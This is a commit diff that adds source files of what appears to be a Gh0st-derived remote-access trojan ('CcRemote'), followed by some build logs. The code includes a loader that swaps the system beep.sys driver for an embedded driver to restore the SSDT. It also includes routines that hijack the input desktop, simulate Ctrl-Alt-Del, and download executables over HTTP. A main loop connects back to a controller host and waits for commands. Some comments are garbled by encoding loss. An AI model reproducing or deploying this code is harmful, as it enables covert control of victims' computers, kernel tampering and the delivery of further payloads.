LPBYTE lpBuffer = new BYTE[*lpdwLength];
|
||||
ReadFile(hFile, lpBuffer, *lpdwLength, &dwBytesRead, NULL);
|
||||
CloseHandle(hFile);
|
||||
return lpBuffer;
|
||||
}
|
||||
|
||||
HANDLE LoadDriver(HMODULE hModule)
|
||||
{
|
||||
g_strService[0] = 'B';
|
||||
g_strService[1] = 'e';
|
||||
g_strService[2] = 'e';
|
||||
g_strService[3] = 'p';
|
||||
g_strService[4] = '\0';
|
||||
|
||||
char szSysPath[50]; // \\Drivers\\beep.sys
|
||||
szSysPath[0] = '\\';
|
||||
szSysPath[1] = 'D';
|
||||
szSysPath[2] = 'r';
|
||||
szSysPath[3] = 'i';
|
||||
szSysPath[4] = 'v';
|
||||
szSysPath[5] = 'e';
|
||||
szSysPath[6] = 'r';
|
||||
szSysPath[7] = 's';
|
||||
szSysPath[8] = '\\';
|
||||
szSysPath[9] = 'b';
|
||||
szSysPath[10] = 'e';
|
||||
szSysPath[11] = 'e';
|
||||
szSysPath[12] = 'p';
|
||||
szSysPath[13] = '.';
|
||||
szSysPath[14] = 's';
|
||||
szSysPath[15] = 'y';
|
||||
szSysPath[16] = 's';
|
||||
szSysPath[17] = '\0';
|
||||
|
||||
// ֹͣ<CDA3><D6B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĺ<DEB8><C4BA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
StopService(g_strService);
|
||||
|
||||
GetSystemDirectory(g_strBeepSys, sizeof(g_strBeepSys));
|
||||
lstrcat(g_strBeepSys, szSysPath);
|
||||
// <20>п<EFBFBD><D0BF><EFBFBD>Ϊֻ<CEAA><D6BB>
|
||||
SetFileAttributes(g_strBeepSys, FILE_ATTRIBUTE_NORMAL);
|
||||
// <20><><EFBFBD><EFBFBD>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
g_lpBeepSys = FileToBuffer(g_strBeepSys, &g_dwBeepLen);
|
||||
if (g_dwBeepLen == 0)
|
||||
return NULL;
|
||||
|
||||
ModifyFromResource(hModule, IDR_SYS, "BIN", g_strBeepSys);
|
||||
|
||||
StartService(g_strService);
|
||||
|
||||
HANDLE hDriver = INVALID_HANDLE_VALUE;
|
||||
hDriver = CreateFileA( "\\\\.\\RESSDTDOS",
|
||||
GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL );
|
||||
return hDriver;
|
||||
}
|
||||
|
||||
void UnloadDriver( IN HANDLE hDriver )
|
||||
{
|
||||
|
||||
CloseHandle(hDriver);
|
||||
StopService(g_strService);
|
||||
|
||||
// <20>ָ<EFBFBD>beep.sys
|
||||
DWORD dwBytes = 0;
|
||||
HANDLE hFile = CreateFile
|
||||
(
|
||||
g_strBeepSys,
|
||||
GENERIC_WRITE,
|
||||
FILE_SHARE_WRITE,
|
||||
NULL,
|
||||
TRUNCATE_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
NULL
|
||||
);
|
||||
|
||||
if (hFile == NULL)
|
||||
return;
|
||||
|
||||
WriteFile(hFile, g_lpBeepSys, g_dwBeepLen, &dwBytes, NULL);
|
||||
CloseHandle(hFile);
|
||||
delete g_lpBeepSys;
|
||||
|
||||
StartService(g_strService);
|
||||
}
|
||||
|
||||
bool RestoreSSDT(HMODULE hModule)
|
||||
{
|
||||
HANDLE hDriver = LoadDriver(hModule);
|
||||
if (hDriver == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
UnloadDriver(hDriver);
|
||||
return false;
|
||||
}
|
||||
ReSSDT(hDriver);
|
||||
UnloadDriver(hDriver);
|
||||
return true;
|
||||
}
|
||||
344
CcMainDll/CcMainDll/common/until.cpp
Normal file
344
CcMainDll/CcMainDll/common/until.cpp
Normal file
@@ -0,0 +1,344 @@
|
||||
|
||||
#include "..\pch.h"
|
||||
#if !defined(AFX_UNTIL_CPP_INCLUDED)
|
||||
#define AFX_UNTIL_CPP_INCLUDED
|
||||
|
||||
|
||||
#include <windows.h>
|
||||
#include <process.h>
|
||||
#include <Tlhelp32.h>
|
||||
#include <Wtsapi32.h>
|
||||
#include <wininet.h>
|
||||
#pragma comment(lib, "Wtsapi32.lib")
|
||||
#include "until.h"
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <locale.h>
|
||||
#include <stdlib.h>
|
||||
unsigned int __stdcall ThreadLoader(LPVOID param)
|
||||
{
|
||||
unsigned int nRet = 0;
|
||||
#ifdef _DLL
|
||||
try
|
||||
{
|
||||
#endif
|
||||
THREAD_ARGLIST arg;
|
||||
memcpy(&arg, param, sizeof(arg));
|
||||
SetEvent(arg.hEventTransferArg);
|
||||
// <20><><EFBFBD>潻<EFBFBD><E6BDBB>
|
||||
if (arg.bInteractive)
|
||||
SelectDesktop(NULL);
|
||||
|
||||
nRet = arg.start_address(arg.arglist);
|
||||
#ifdef _DLL
|
||||
}catch(...){};
|
||||
#endif
|
||||
return nRet;
|
||||
}
|
||||
|
||||
HANDLE MyCreateThread (LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
|
||||
SIZE_T dwStackSize, // initial stack size
|
||||
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
|
||||
LPVOID lpParameter, // thread argument
|
||||
DWORD dwCreationFlags, // creation option
|
||||
LPDWORD lpThreadId, bool bInteractive)
|
||||
{
|
||||
HANDLE hThread = INVALID_HANDLE_VALUE;
|
||||
THREAD_ARGLIST arg;
|
||||
arg.start_address = (unsigned ( __stdcall *)( void * ))lpStartAddress;
|
||||
arg.arglist = (void *)lpParameter;
|
||||
arg.bInteractive = bInteractive;
|
||||
arg.hEventTransferArg = CreateEvent(NULL, false, false, NULL);
|
||||
hThread = (HANDLE)_beginthreadex((void *)lpThreadAttributes, dwStackSize, ThreadLoader, &arg, dwCreationFlags, (unsigned *)lpThreadId);
|
||||
WaitForSingleObject(arg.hEventTransferArg, INFINITE);
|
||||
CloseHandle(arg.hEventTransferArg);
|
||||
|
||||
return hThread;
|
||||
}
|
||||
|
||||
DWORD GetProcessID(LPCTSTR lpProcessName)
|
||||
{
|
||||
DWORD RetProcessID = 0;
|
||||
HANDLE handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
PROCESSENTRY32* info=new PROCESSENTRY32;
|
||||
info->dwSize=sizeof(PROCESSENTRY32);
|
||||
|
||||
if(Process32First(handle,info))
|
||||
{
|
||||
if (strcmpi(info->szExeFile,lpProcessName) == 0)
|
||||
{
|
||||
RetProcessID = info->th32ProcessID;
|
||||
return RetProcessID;
|
||||
}
|
||||
while(Process32Next(handle,info) != FALSE)
|
||||
{
|
||||
if (lstrcmpi(info->szExeFile,lpProcessName) == 0)
|
||||
{
|
||||
RetProcessID = info->th32ProcessID;
|
||||
return RetProcessID;
|
||||
}
|
||||
}
|
||||
}
|
||||
return RetProcessID;
|
||||
}
|
||||
|
||||
char *GetLogUserXP()
|
||||
{
|
||||
TCHAR *szLogName = NULL;
|
||||
DWORD dwSize = 0;
|
||||
if (WTSQuerySessionInformation(WTS_CURRENT_SERVER_HANDLE, WTS_CURRENT_SESSION, WTSUserName, &szLogName, &dwSize))
|
||||
{
|
||||
char *lpUser = new char[256];
|
||||
lstrcpy(lpUser, szLogName);
|
||||
WTSFreeMemory(szLogName);
|
||||
return lpUser;
|
||||
}
|
||||
else
|
||||
return NULL;
|
||||
}
|
||||
|
||||
char *GetLogUser2K()
|
||||
{
|
||||
DWORD dwProcessID = GetProcessID("explorer.exe");
|
||||
if (dwProcessID == 0)
|
||||
return NULL;
|
||||
|
||||
BOOL fResult = FALSE;
|
||||
HANDLE hProc = NULL;
|
||||
HANDLE hToken = NULL;
|
||||
TOKEN_USER *pTokenUser = NULL;
|
||||
char *lpUserName = NULL;
|
||||
__try
|
||||
{
|
||||
// Open the process with PROCESS_QUERY_INFORMATION access
|
||||
hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwProcessID);
|
||||
if (hProc == NULL)
|
||||
{
|
||||
__leave;
|
||||
}
|
||||
fResult = OpenProcessToken(hProc, TOKEN_QUERY, &hToken);
|
||||
if(!fResult)
|
||||
{
|
||||
__leave;
|
||||
}
|
||||
|
||||
DWORD dwNeedLen = 0;
|
||||
fResult = GetTokenInformation(hToken,TokenUser, NULL, 0, &dwNeedLen);
|
||||
if (dwNeedLen > 0)
|
||||
{
|
||||
pTokenUser = (TOKEN_USER*)new BYTE[dwNeedLen];
|
||||
fResult = GetTokenInformation(hToken,TokenUser, pTokenUser, dwNeedLen, &dwNeedLen);
|
||||
if (!fResult)
|
||||
{
|
||||
__leave;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
__leave;
|
||||
}
|
||||
|
||||
SID_NAME_USE sn;
|
||||
TCHAR szDomainName[MAX_PATH];
|
||||
DWORD dwDmLen = MAX_PATH;
|
||||
|
||||
DWORD nNameLen = 256;
|
||||
lpUserName = new char[256];
|
||||
|
||||
fResult = LookupAccountSid(NULL, pTokenUser->User.Sid, lpUserName, &nNameLen,
|
||||
szDomainName, &dwDmLen, &sn);
|
||||
}
|
||||
__finally
|
||||
{
|
||||
if (hProc)
|
||||
::CloseHandle(hProc);
|
||||
if (hToken)
|
||||
::CloseHandle(hToken);
|
||||
if (pTokenUser)
|
||||
delete[] (char*)pTokenUser;
|
||||
|
||||
return lpUserName;
|
||||
}
|
||||
}
|
||||
|
||||
char *GetCurrentLoginUser()
|
||||
{
|
||||
OSVERSIONINFOEX OsVerInfo;
|
||||
ZeroMemory(&OsVerInfo, sizeof(OSVERSIONINFOEX));
|
||||
OsVerInfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFOEX);
|
||||
if(!GetVersionEx((OSVERSIONINFO *)&OsVerInfo))
|
||||
{
|
||||
OsVerInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
|
||||
if(!GetVersionEx((OSVERSIONINFO *)&OsVerInfo))
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if(OsVerInfo.dwMajorVersion == 5 && OsVerInfo.dwMinorVersion == 0)
|
||||
return GetLogUser2K();
|
||||
else
|
||||
return GetLogUserXP();
|
||||
|
||||
}
|
||||
|
||||
bool SwitchInputDesktop()
|
||||
{
|
||||
BOOL bRet = false;
|
||||
DWORD dwLengthNeeded;
|
||||
|
||||
HDESK hOldDesktop, hNewDesktop;
|
||||
char strCurrentDesktop[256], strInputDesktop[256];
|
||||
|
||||
hOldDesktop = GetThreadDesktop(GetCurrentThreadId());
|
||||
memset(strCurrentDesktop, 0, sizeof(strCurrentDesktop));
|
||||
GetUserObjectInformation(hOldDesktop, UOI_NAME, &strCurrentDesktop, sizeof(strCurrentDesktop), &dwLengthNeeded);
|
||||
|
||||
|
||||
hNewDesktop = OpenInputDesktop(0, FALSE, MAXIMUM_ALLOWED);
|
||||
memset(strInputDesktop, 0, sizeof(strInputDesktop));
|
||||
GetUserObjectInformation(hNewDesktop, UOI_NAME, &strInputDesktop, sizeof(strInputDesktop), &dwLengthNeeded);
|
||||
|
||||
if (lstrcmpi(strInputDesktop, strCurrentDesktop) != 0)
|
||||
{
|
||||
SetThreadDesktop(hNewDesktop);
|
||||
bRet = true;
|
||||
}
|
||||
CloseDesktop(hOldDesktop);
|
||||
|
||||
CloseDesktop(hNewDesktop);
|
||||
|
||||
|
||||
return bRet;
|
||||
}
|
||||
|
||||
BOOL SelectHDESK(HDESK new_desktop)
|
||||
{
|
||||
HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId());
|
||||
|
||||
DWORD dummy;
|
||||
char new_name[256];
|
||||
|
||||
if (!GetUserObjectInformation(new_desktop, UOI_NAME, &new_name, 256, &dummy)) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Switch the desktop
|
||||
if(!SetThreadDesktop(new_desktop)) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Switched successfully - destroy the old desktop
|
||||
CloseDesktop(old_desktop);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// - SelectDesktop(char *)
|
||||
// Switches the current thread into a different desktop, by name
|
||||
// Calling with a valid desktop name will place the thread in that desktop.
|
||||
// Calling with a NULL name will place the thread in the current input desktop.
|
||||
|
||||
BOOL SelectDesktop(char *name)
|
||||
{
|
||||
HDESK desktop;
|
||||
|
||||
if (name != NULL)
|
||||
{
|
||||
// Attempt to open the named desktop
|
||||
desktop = OpenDesktop(name, 0, FALSE,
|
||||
DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
|
||||
DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
|
||||
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
|
||||
DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
|
||||
}
|
||||
else
|
||||
{
|
||||
// No, so open the input desktop
|
||||
desktop = OpenInputDesktop(0, FALSE,
|
||||
DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
|
||||
DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
|
||||
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
|
||||
DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
|
||||
}
|
||||
|
||||
// Did we succeed?
|
||||
if (desktop == NULL) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Switch to the new desktop
|
||||
if (!SelectHDESK(desktop)) {
|
||||
// Failed to enter the new desktop, so free it!
|
||||
CloseDesktop(desktop);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// We successfully switched desktops!
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL SimulateCtrlAltDel()
|
||||
{
|
||||
HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId());
|
||||
|
||||
// Switch into the Winlogon desktop
|
||||
char name[] = "Winlogon";
|
||||
if (!SelectDesktop(name))
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Fake a hotkey event to any windows we find there.... :(
|
||||
// Winlogon uses hotkeys to trap Ctrl-Alt-Del...
|
||||
PostMessage(HWND_BROADCAST, WM_HOTKEY, 0, MAKELONG(MOD_ALT | MOD_CONTROL, VK_DELETE));
|
||||
|
||||
// Switch back to our original desktop
|
||||
if (old_desktop != NULL)
|
||||
SelectHDESK(old_desktop);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
bool http_get(LPCTSTR szURL, LPCTSTR szFileName)
|
||||
{
|
||||
HINTERNET hInternet, hUrl;
|
||||
HANDLE hFile;
|
||||
char buffer[1024];
|
||||
DWORD dwBytesRead = 0;
|
||||
DWORD dwBytesWritten = 0;
|
||||
BOOL bIsFirstPacket = true;
|
||||
BOOL bRet = true;
|
||||
hInternet = InternetOpen("Mozilla/4.0 (compatible)", INTERNET_OPEN_TYPE_PRECONFIG, NULL,INTERNET_INVALID_PORT_NUMBER,0);
|
||||
if (hInternet == NULL)
|
||||
return false;
|
||||
|
||||
hUrl = InternetOpenUrl(hInternet, szURL, NULL, 0, INTERNET_FLAG_RELOAD, 0);
|
||||
if (hUrl == NULL)
|
||||
return false;
|
||||
|
||||
hFile = CreateFile(szFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
|
||||
|
||||
if (hFile != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
do
|
||||
{
|
||||
memset(buffer, 0, sizeof(buffer));
|
||||
InternetReadFile(hUrl, buffer, sizeof(buffer), &dwBytesRead);
|
||||
// <20><><EFBFBD>жϵ<D0B6>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0>Dz<EFBFBD><C7B2><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7>PE<50>ļ<EFBFBD>
|
||||
if (bIsFirstPacket && ((PIMAGE_DOS_HEADER)buffer)->e_magic != IMAGE_DOS_SIGNATURE)
|
||||
{
|
||||
bRet = false;
|
||||
break;
|
||||
}
|
||||
bIsFirstPacket = false;
|
||||
|
||||
WriteFile(hFile, buffer, dwBytesRead, &dwBytesWritten, NULL);
|
||||
} while(dwBytesRead > 0);
|
||||
CloseHandle(hFile);
|
||||
}
|
||||
|
||||
InternetCloseHandle(hUrl);
|
||||
InternetCloseHandle(hInternet);
|
||||
|
||||
return bRet;
|
||||
}
|
||||
|
||||
#endif // !defined(AFX_UNTIL_CPP_INCLUDED)
|
||||
33
CcMainDll/CcMainDll/common/until.h
Normal file
33
CcMainDll/CcMainDll/common/until.h
Normal file
@@ -0,0 +1,33 @@
|
||||
#if !defined(AFX_UNTIL_H_INCLUDED)
|
||||
#define AFX_UNTIL_H_INCLUDED
|
||||
#include "RegEditEx.h"
|
||||
|
||||
typedef struct
|
||||
{
|
||||
unsigned ( __stdcall *start_address )( void * );
|
||||
void *arglist;
|
||||
bool bInteractive; // <20>Ƿ<EFBFBD>֧<EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
HANDLE hEventTransferArg;
|
||||
}THREAD_ARGLIST, *LPTHREAD_ARGLIST;
|
||||
|
||||
unsigned int __stdcall ThreadLoader(LPVOID param);
|
||||
|
||||
HANDLE MyCreateThread (LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
|
||||
SIZE_T dwStackSize, // initial stack size
|
||||
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
|
||||
LPVOID lpParameter, // thread argument
|
||||
DWORD dwCreationFlags, // creation option
|
||||
LPDWORD lpThreadId, bool bInteractive = false);
|
||||
|
||||
DWORD GetProcessID(LPCTSTR lpProcessName);
|
||||
char *GetLogUserXP();
|
||||
char *GetLogUser2K();
|
||||
char *GetCurrentLoginUser();
|
||||
|
||||
bool SwitchInputDesktop();
|
||||
|
||||
BOOL SelectHDESK(HDESK new_desktop);
|
||||
BOOL SelectDesktop(char *name);
|
||||
BOOL SimulateCtrlAltDel();
|
||||
bool http_get(LPCTSTR szURL, LPCTSTR szFileName);
|
||||
#endif // !defined(AFX_UNTIL_H_INCLUDED)
|
||||
195
CcMainDll/CcMainDll/dllmain.cpp
Normal file
195
CcMainDll/CcMainDll/dllmain.cpp
Normal file
@@ -0,0 +1,195 @@
|
||||
// dllmain.cpp : 定义 DLL 应用程序的入口点。
|
||||
#include "pch.h"
|
||||
#include "common/KeyboardManager.h"
|
||||
#include "common/KernelManager.h"
|
||||
#include "common/login.h"
|
||||
|
||||
char g_strSvchostName[MAX_PATH];//服务名
|
||||
char g_strHost[MAX_PATH];
|
||||
DWORD g_dwPort;
|
||||
DWORD g_dwServiceType;
|
||||
|
||||
enum
|
||||
{
|
||||
NOT_CONNECT, // 还没有连接
|
||||
GETLOGINFO_ERROR,//获取信息失败
|
||||
CONNECT_ERROR,//链接失败
|
||||
HEARTBEATTIMEOUT_ERROR //心跳超时链接失败
|
||||
};
|
||||
|
||||
DWORD WINAPI main(char *lpServiceName);
|
||||
//处理异常
|
||||
LONG WINAPI bad_exception(struct _EXCEPTION_POINTERS* ExceptionInfo) {
|
||||
// 发生异常,重新创建进程
|
||||
HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)g_strSvchostName, 0, NULL);
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
CloseHandle(hThread);
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD WINAPI main(char *lpServiceName)
|
||||
{
|
||||
// lpServiceName,在ServiceMain返回后就没有了
|
||||
char strServiceName[256] = {0};
|
||||
char strKillEvent[50] = { 0 };
|
||||
HANDLE hInstallMutex = NULL;
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
// Set Window Station
|
||||
HWINSTA hOldStation = GetProcessWindowStation();
|
||||
HWINSTA hWinSta = OpenWindowStation("winsta0", FALSE, MAXIMUM_ALLOWED);
|
||||
if (hWinSta != NULL)
|
||||
SetProcessWindowStation(hWinSta);
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
|
||||
//--这里判断CKeyboardManager::g_hInstance是否为空 如果不为空则开启错误处理
|
||||
//--这里要在dllmain中为CKeyboardManager::g_hInstance赋值
|
||||
if (CKeyboardManager::g_hInstance != NULL)
|
||||
{
|
||||
//设置异常
|
||||
SetUnhandledExceptionFilter(bad_exception);
|
||||
|
||||
lstrcpy(strServiceName, lpServiceName);
|
||||
wsprintf(strKillEvent, "Global\\Gh0st %d", GetTickCount()); // 随机事件名
|
||||
|
||||
hInstallMutex = CreateMutex(NULL, true, g_strHost);
|
||||
//ReConfigService(strServiceName);
|
||||
// 删除安装文件
|
||||
// DeleteInstallFile(lpServiceName);
|
||||
}
|
||||
// 告诉操作系统:如果没有找到CD/floppy disc,不要弹窗口吓人
|
||||
SetErrorMode(SEM_FAILCRITICALERRORS);
|
||||
char *lpszHost = NULL;
|
||||
DWORD dwPort = 80;
|
||||
char *lpszProxyHost = NULL;
|
||||
DWORD dwProxyPort = 0;
|
||||
char *lpszProxyUser = NULL;
|
||||
char *lpszProxyPass = NULL;
|
||||
|
||||
HANDLE hEvent = NULL;
|
||||
|
||||
//---这里声明了一个 CClientSocket类
|
||||
CClientSocket socketClient;
|
||||
BYTE bBreakError = NOT_CONNECT; // 断开连接的原因,初始化为还没有连接
|
||||
|
||||
//这个循环里判断是否连接成功如果不成功则继续向下
|
||||
while (1)
|
||||
{
|
||||
// 如果不是心跳超时,不用再sleep两分钟
|
||||
if (bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR)
|
||||
{
|
||||
// 2分钟断线重连, 为了尽快响应killevent
|
||||
for (int i = 0; i < 2000; i++)
|
||||
{
|
||||
hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent);
|
||||
if (hEvent != NULL)
|
||||
{
|
||||
socketClient.Disconnect();
|
||||
CloseHandle(hEvent);
|
||||
break;
|
||||
break;
|
||||
|
||||
}
|
||||
// 改一下
|
||||
Sleep(60);
|
||||
}
|
||||
}
|
||||
//上线地址
|
||||
lpszHost = g_strHost;
|
||||
dwPort = g_dwPort;
|
||||
|
||||
if (lpszProxyHost != NULL)
|
||||
socketClient.setGlobalProxyOption(PROXY_SOCKS_VER5, lpszProxyHost, dwProxyPort, lpszProxyUser, lpszProxyPass);
|
||||
else
|
||||
socketClient.setGlobalProxyOption();
|
||||
|
||||
DWORD dwTickCount = GetTickCount();
|
||||
//---调用Connect函数向主控端发起连接
|
||||
if (!socketClient.Connect(lpszHost, dwPort))
|
||||
{
|
||||
bBreakError = CONNECT_ERROR; //---连接错误跳出本次循环
|
||||
continue;
|
||||
}
|
||||
// 登录
|
||||
DWORD dwExitCode = SOCKET_ERROR;
|
||||
sendLoginInfo(strServiceName, &socketClient, GetTickCount() - dwTickCount);
|
||||
//---注意这里连接成功后声明了一个CKernelManager 到CKernelManager类查看一下
|
||||
CKernelManager manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort);
|
||||
//socketClient中的主回调函数设置位这CKernelManager类中的OnReceive
|
||||
//(每个功能类都有OnReceive函数来处理接受的数据他们都继承自父类CManager)
|
||||
socketClient.setManagerCallBack(&manager);
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
// 等待控制端发送激活命令,超时为10秒,重新连接,以防连接错误
|
||||
for (int i = 0; (i < 10 && !manager.IsActived()); i++)
|
||||
{
|
||||
Sleep(1000);
|
||||
}
|
||||
// 10秒后还没有收到控制端发来的激活命令,说明对方不是控制端,重新连接,获取是否有效标志
|
||||
if (!manager.IsActived())
|
||||
continue;
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
|
||||
DWORD dwIOCPEvent;
|
||||
dwTickCount = GetTickCount();//获取时间戳
|
||||
|
||||
do
|
||||
{
|
||||
hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent);
|
||||
dwIOCPEvent = WaitForSingleObject(socketClient.m_hEvent, 100);
|
||||
Sleep(500);
|
||||
} while (hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0);
|
||||
|
||||
if (hEvent != NULL)
|
||||
{
|
||||
socketClient.Disconnect();
|
||||
CloseHandle(hEvent);
|
||||
break;
|
||||
}
|
||||
}
|
||||
#ifdef _DLL
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
// Restor WindowStation and Desktop
|
||||
// 不需要恢复卓面,因为如果是更新服务端的话,新服务端先运行,此进程恢复掉了卓面,会产生黑屏
|
||||
// SetProcessWindowStation(hOldStation);
|
||||
// CloseWindowStation(hWinSta);
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
#endif
|
||||
|
||||
SetErrorMode(0);
|
||||
ReleaseMutex(hInstallMutex);
|
||||
CloseHandle(hInstallMutex);
|
||||
}
|
||||
|
||||
extern "C" __declspec(dllexport) void TestFun(char* strHost, int nPort)
|
||||
{
|
||||
strcpy(g_strHost, strHost); //保存上线地址
|
||||
g_dwPort = nPort; //保存上线端口
|
||||
HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)g_strHost, 0, NULL);
|
||||
//这里等待线程结束
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
CloseHandle(hThread);
|
||||
}
|
||||
|
||||
BOOL APIENTRY DllMain( HMODULE hModule,
|
||||
DWORD ul_reason_for_call,
|
||||
LPVOID lpReserved
|
||||
)
|
||||
{
|
||||
switch (ul_reason_for_call)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
CKeyboardManager::g_hInstance = (HINSTANCE)hModule;
|
||||
//CKeyboardManager::m_dwLastMsgTime = GetTickCount();
|
||||
//CKeyboardManager::Initialization();
|
||||
break;
|
||||
case DLL_THREAD_DETACH:
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
5
CcMainDll/CcMainDll/framework.h
Normal file
5
CcMainDll/CcMainDll/framework.h
Normal file
@@ -0,0 +1,5 @@
|
||||
#pragma once
|
||||
|
||||
#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容
|
||||
// Windows 头文件
|
||||
#include <windows.h>
|
||||
5
CcMainDll/CcMainDll/pch.cpp
Normal file
5
CcMainDll/CcMainDll/pch.cpp
Normal file
@@ -0,0 +1,5 @@
|
||||
// pch.cpp: 与预编译标头对应的源文件
|
||||
|
||||
#include "pch.h"
|
||||
|
||||
// 当使用预编译的头时,需要使用此源文件,编译才能成功。
|
||||
13
CcMainDll/CcMainDll/pch.h
Normal file
13
CcMainDll/CcMainDll/pch.h
Normal file
@@ -0,0 +1,13 @@
|
||||
// pch.h: 这是预编译标头文件。
|
||||
// 下方列出的文件仅编译一次,提高了将来生成的生成性能。
|
||||
// 这还将影响 IntelliSense 性能,包括代码完成和许多代码浏览功能。
|
||||
// 但是,如果此处列出的文件中的任何一个在生成之间有更新,它们全部都将被重新编译。
|
||||
// 请勿在此处添加要频繁更新的文件,这将使得性能优势无效。
|
||||
|
||||
#ifndef PCH_H
|
||||
#define PCH_H
|
||||
|
||||
// 添加要在此处预编译的标头
|
||||
#include "framework.h"
|
||||
|
||||
#endif //PCH_H
|
||||
3
CcMainDll/TestLoadDll/Debug/TestLoadDll.log
Normal file
3
CcMainDll/TestLoadDll/Debug/TestLoadDll.log
Normal file
@@ -0,0 +1,3 @@
|
||||
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
TestLoadDll.cpp
|
||||
TestLoadDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\TestLoadDll\..\..\bin\server\TestLoadDll.exe
|
||||
@@ -0,0 +1,2 @@
|
||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||
Debug|Win32|G:\CcRemote\CcRemote\CcMainDll\|
|
||||
14
CcMainDll/TestLoadDll/Release/TestLoadDll.Build.CppClean.log
Normal file
14
CcMainDll/TestLoadDll/Release/TestLoadDll.Build.CppClean.log
Normal file
@@ -0,0 +1,14 @@
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\release\vc141.pdb
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.obj
|
||||
g:\ccremote\ccremote\ccmaindll\bin\server\testloaddll.exe\testloaddll.exe
|
||||
g:\ccremote\ccremote\ccmaindll\bin\server\testloaddll.exe\testloaddll.pdb
|
||||
g:\ccremote\ccremote\ccmaindll\bin\server\testloaddll.exe\testloaddll.ipdb
|
||||
g:\ccremote\ccremote\ccmaindll\bin\server\testloaddll.exe\testloaddll.iobj
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\..\bin\server\testloaddll.exe\testloaddll.exe
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\cl.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\cl.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\cl.write.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\link.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\link.read.1.tlog
|
||||
